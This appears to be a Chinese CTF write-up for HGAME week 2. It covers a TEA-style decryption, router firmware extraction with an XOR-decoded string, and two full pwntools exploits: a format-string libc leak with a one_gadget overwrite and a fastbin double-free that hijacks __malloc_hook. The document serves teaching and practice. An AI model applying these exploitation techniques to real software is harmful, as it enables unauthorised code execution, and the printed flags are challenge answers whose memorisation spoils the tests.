1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from Crypto.Util.number import *def decrypt (v, k ): v0 = v[0 ] v1 = v[1 ] delta = 0x34566543 x = delta * 33 for i in range (33 ): x -= delta x = x & 0xFFFFFFFF v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (x + k[(x >> 11 ) & 3 ]) v1 = v1 & 0xFFFFFFFF v0 -= (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (x + k[x & 3 ]) ^ x v0 = v0 & 0xFFFFFFFF v[0 ] = v0 v[1 ] = v1 return v c = [0x260202FA , 0x1B451064 , 0x867B61F1 , 0x228033C5 , 0xF15D82DC , 0x9D8430B1 , 0x19F2B1E7 , 0x2BBA859C , 0x2A08291D , 0xDC707918 ] key = [2233 , 4455 , 6677 , 8899 ] flag = b'' for i in range (len (c)-1 ): d = decrypt(c[-2 :], key) flag = long_to_bytes(d[1 ])[::-1 ] + flag c = c[:-2 ] + [d[0 ]] print (flag)
补全flag头,flag:hgame{d8c1d7d34573434ea8dfe5db40fbb25c0}
。
Pwn YukkuriSay HINTS:
格式化占位符的值来自于函数的参数,同时64位程序传参不是只用寄存器的哦
%n占位符是存在溢出的
打格式化字符串,分别泄露栈地址和 __libc_start_main()
地址求得libc基地址,再用one_gadget打即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *r = remote('week-2.hgame.lwsec.cn' ,30687 ) elf = ELF('vuln' ) libc = ELF("libc-2.31.so" ) r.recvline() r.send('a' *0x100 ) stack_addr = u64(r.recvuntil('\x7f' )[-6 :]+'\x00' *2 )-8 print (hex (stack_addr))r.recvline() r.sendline('Y' ) r.send(p64(stack_addr)*0x20 ) r.recvline() r.sendline('n' ) pl = '%45$p%4418c%8$hn' r.send(pl) r.recvuntil('0x' ) libc_start_main = eval ('0x' +r.recv(12 ))-243 libc_base = libc_start_main - libc.sym.__libc_start_main print (hex (libc_base))ogg = libc_base+0xe3b01 r.recvline() pl = p64(stack_addr-224 +2 )+p64(stack_addr-224 ) r.send(pl) r.recvline() r.sendline('n' ) pl = '%' +str ((ogg>>16 )&0xff )+'c%8$hhn' +'%' +str ((ogg&0xffff )-((ogg>>16 )&0xff ))+'c%9$hn' r.send(pl) r.interactive()
fast_note libc 2.23 UAF,泄露 __malloc_hook()
地址求得libc基地址,double free后使用 realloc()
调试,使得满足one_gadget条件即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *r = remote('week-2.hgame.lwsec.cn' ,31341 ) libc = ELF("libc-2.23.so" ) def add (ind,size,content ): r.sendlineafter('>' ,'1' ) r.sendlineafter('Index: ' ,str (ind)) r.sendlineafter('Size: ' ,str (size)) r.sendafter('Content: ' ,content) def free (ind ): r.sendlineafter('>' ,'2' ) r.sendlineafter('Index: ' ,str (ind)) def show (ind ): r.sendlineafter('>' ,'3' ) r.sendlineafter('Index: ' ,str (ind)) add(0 ,0x80 ,'a' *0x80 ) add(1 ,0x80 ,'b' *0x80 ) free(0 ) show(0 ) malloc_hook = u64(r.recv(6 )+'\x00' *2 )-104 libc_base = malloc_hook - libc.sym.__malloc_hook print (hex (libc_base))add(2 ,0x80 ,'a' *0x80 ) add(3 ,0x60 ,'c' *0x60 ) add(4 ,0x60 ,'d' *0x60 ) add(5 ,0x60 ,'e' *0x60 ) free(3 ) free(4 ) free(3 ) add(6 ,0x60 ,p64(malloc_hook-0x23 )) add(7 ,0x60 ,'f' *0x60 ) add(8 ,0x60 ,'f' *0x60 ) ogg = libc_base + 0xf1247 realloc = libc_base + libc.sym.realloc print (hex (realloc))add(9 ,0x60 ,'\x00' *0xb +p64(ogg)+p64(realloc+0x6 )) r.sendlineafter('>' ,'1' ) r.sendlineafter('Index: ' ,'10' ) r.sendlineafter('Size: ' ,'20' ) r.interactive()
Iot Pirated router 兔兔在回家的火车上,看到一个神秘的0tatoP在卖路由器,于是兔兔买了一个回家过年,但是这个路由器咋总感觉怪怪的
路由器bin固件文件,参考提取路由器固件中的squashfs文件系统unsquashfs提取方法 ,提取路由器固件中的squashfs。
安装squashfs后,使用binwalk分离bin文件:binwalk -e AC10086W_FW_1.1.4.5.bin
,生成文件夹 squashfs-root
,其中的squashfs文件,修改文件头为 hsqs
。
利用 firmware-mod-kit 解包squashfs文件:unsquashfs 1.squashfs
,在 /bin
目录中发现一个文件名比较特别的程序 secret_program
,使用IDA查看逻辑,main()
函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { _OWORD v4[8 ]; int v5; unsigned int v6; int i; v4[0 ] = unk_4543B0; v4[1 ] = unk_4543C0; v4[2 ] = unk_4543D0; v4[3 ] = unk_4543E0; v4[4 ] = unk_4543F0; v4[5 ] = unk_454400; v4[6 ] = unk_454410; v4[7 ] = unk_454420; v5 = 94 ; v6 = 35 ; for ( i = 0 ; i <= 32 ; ++i ) printf (&unk_4543A8, *((_DWORD *)v4 + i) ^ v6); return 0 ; }
提取数据,简单异或操作还原:
1 2 3 4 5 s = [75 , 68 , 66 , 78 , 70 , 88 , 86 , 77 , 83 , 23 , 64 , 72 , 18 , 77 , 68 , 124 , 69 , 74 , 81 , 78 , 84 , 66 , 81 , 70 , 124 , 18 , 80 , 124 , 16 , 98 , 80 , 90 , 94 ] ss = [k^35 for k in s] print (bytes (ss))